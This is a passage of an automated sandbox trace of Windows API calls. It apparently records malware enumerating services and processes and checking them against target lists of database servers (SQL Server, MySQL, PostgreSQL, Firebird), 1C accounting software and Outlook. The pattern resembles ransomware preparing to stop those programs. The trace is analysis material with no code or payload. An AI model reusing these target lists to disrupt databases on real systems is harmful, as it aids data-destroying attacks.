returned 1 [0060.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0060.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0060.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0060.850] lstrlenW (lpString="DPS") returned 3 [0060.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0060.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0060.850] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0060.850] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0060.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0060.850] lstrlenW (lpString="eventlog") returned 8 [0060.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0060.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0060.851] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0060.851] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0060.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0060.851] lstrlenW (lpString="EventSystem") returned 11 [0060.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0060.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0060.851] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0060.851] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0060.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0060.851] lstrlenW (lpString="gpsvc") returned 5 [0060.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0060.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0060.851] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0060.851] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0060.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0060.851] lstrlenW (lpString="iphlpsvc") returned 8 [0060.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.851] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0060.851] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0060.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0060.851] lstrlenW (lpString="LanmanServer") returned 12 [0060.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0060.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0060.851] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0060.851] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0060.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0060.851] lstrlenW (lpString="LanmanWorkstation") returned 17 [0060.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.852] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0060.852] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0060.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0060.852] lstrlenW (lpString="lmhosts") returned 7 [0060.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0060.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0060.852] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0060.852] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0060.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0060.852] lstrlenW (lpString="MMCSS") returned 5 [0060.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0060.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0060.852] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0060.852] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0060.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0060.852] lstrlenW (lpString="MpsSvc") returned 6 [0060.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0060.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0060.852] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0060.852] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0060.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0060.852] lstrlenW (lpString="Netman") returned 6 [0060.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0060.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0060.852] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0060.852] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0060.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0060.852] lstrlenW (lpString="netprofm") returned 8 [0060.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0060.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0060.852] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0060.852] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0060.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0060.853] lstrlenW (lpString="NlaSvc") returned 6 [0060.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0060.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0060.853] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0060.853] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0060.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0060.853] lstrlenW (lpString="nsi") returned 3 [0060.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0060.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0060.853] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0060.853] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0060.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0060.853] lstrlenW (lpString="PcaSvc") returned 6 [0060.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0060.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0060.853] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0060.853] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0060.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0060.853] lstrlenW (lpString="PlugPlay") returned 8 [0060.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0060.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0060.853] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0060.853] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0060.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0060.853] lstrlenW (lpString="Power") returned 5 [0060.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0060.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0060.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0060.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0060.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0060.853] lstrlenW (lpString="ProfSvc") returned 7 [0060.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0060.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0060.854] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0060.854] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0060.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0060.854] lstrlenW (lpString="RpcEptMapper") returned 12 [0060.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.854] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0060.854] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0060.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0060.854] lstrlenW (lpString="RpcSs") returned 5 [0060.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0060.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0060.854] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0060.854] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0060.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0060.854] lstrlenW (lpString="SamSs") returned 5 [0060.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0060.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0060.854] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0060.854] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0060.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0060.854] lstrlenW (lpString="Schedule") returned 8 [0060.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0060.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0060.854] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0060.854] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0060.854] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0060.854] lstrlenW (lpString="SENS") returned 4 [0060.854] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0060.854] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0060.855] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0060.855] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0060.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0060.855] lstrlenW (lpString="ShellHWDetection") returned 16 [0060.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.855] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0060.855] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0060.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0060.855] lstrlenW (lpString="Spooler") returned 7 [0060.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0060.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0060.855] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0060.855] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0060.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0060.855] lstrlenW (lpString="swprv") returned 5 [0060.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0060.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0060.855] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0060.855] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0060.855] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0060.855] lstrlenW (lpString="SysMain") returned 7 [0060.855] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0060.855] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0060.855] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0060.855] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0060.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0060.856] lstrlenW (lpString="Themes") returned 6 [0060.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0060.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0060.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0060.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0060.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0060.856] lstrlenW (lpString="TrkWks") returned 6 [0060.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0060.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0060.856] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0060.856] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0060.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0060.856] lstrlenW (lpString="UxSms") returned 5 [0060.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0060.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0060.856] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0060.856] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0060.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0060.856] lstrlenW (lpString="VSS") returned 3 [0060.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0060.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0060.856] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0060.856] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0060.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0060.856] lstrlenW (lpString="WdiServiceHost") returned 14 [0060.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.856] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0060.856] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0060.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0060.856] lstrlenW (lpString="WdiSystemHost") returned 13 [0060.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.857] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0060.857] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0060.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0060.857] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0060.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.857] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0060.857] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0060.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0060.857] lstrlenW (lpString="Winmgmt") returned 7 [0060.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0060.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0060.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0060.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0060.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0060.857] lstrlenW (lpString="WPDBusEnum") returned 10 [0060.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.857] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0060.857] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0060.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0060.857] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a5d28 | out: hHeap=0x4b0000) returned 1 [0060.857] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc [0060.860] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.860] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.861] lstrlenW (lpString="System") returned 6 [0060.861] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0060.861] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0060.861] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0060.861] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0060.861] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0060.861] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0060.861] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0060.861] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.862] lstrlenW (lpString="smss.exe") returned 8 [0060.862] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0060.862] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0060.862] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0060.862] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0060.862] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0060.862] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0060.862] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0060.862] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.863] lstrlenW (lpString="csrss.exe") returned 9 [0060.863] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0060.863] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0060.863] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0060.863] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0060.863] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0060.863] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0060.863] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0060.863] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.864] lstrlenW (lpString="wininit.exe") returned 11 [0060.864] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0060.864] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0060.864] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0060.864] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.865] lstrlenW (lpString="csrss.exe") returned 9 [0060.865] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.865] lstrlenW (lpString="winlogon.exe") returned 12 [0060.865] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.866] lstrlenW (lpString="services.exe") returned 12 [0060.866] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.867] lstrlenW (lpString="lsass.exe") returned 9 [0060.867] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0060.867] lstrlenW (lpString="lsm.exe") returned 7 [0060.868] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.868] lstrlenW (lpString="svchost.exe") returned 11 [0060.868] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.869] lstrlenW (lpString="svchost.exe") returned 11 [0060.869] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.870] lstrlenW (lpString="svchost.exe") returned 11 [0060.870] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.870] lstrlenW (lpString="svchost.exe") returned 11 [0060.870] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.871] lstrlenW (lpString="svchost.exe") returned 11 [0060.871] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.872] lstrlenW (lpString="audiodg.exe") returned 11 [0060.872] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.873] lstrlenW (lpString="svchost.exe") returned 11 [0060.873] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.873] lstrlenW (lpString="svchost.exe") returned 11 [0060.874] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.874] lstrlenW (lpString="dwm.exe") returned 7 [0060.874] Process32NextW (in: hSnapshot=0x1dc, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.875] lstrlenW (lpString="explorer.exe") returned 12 [0060.875] Process32NextW 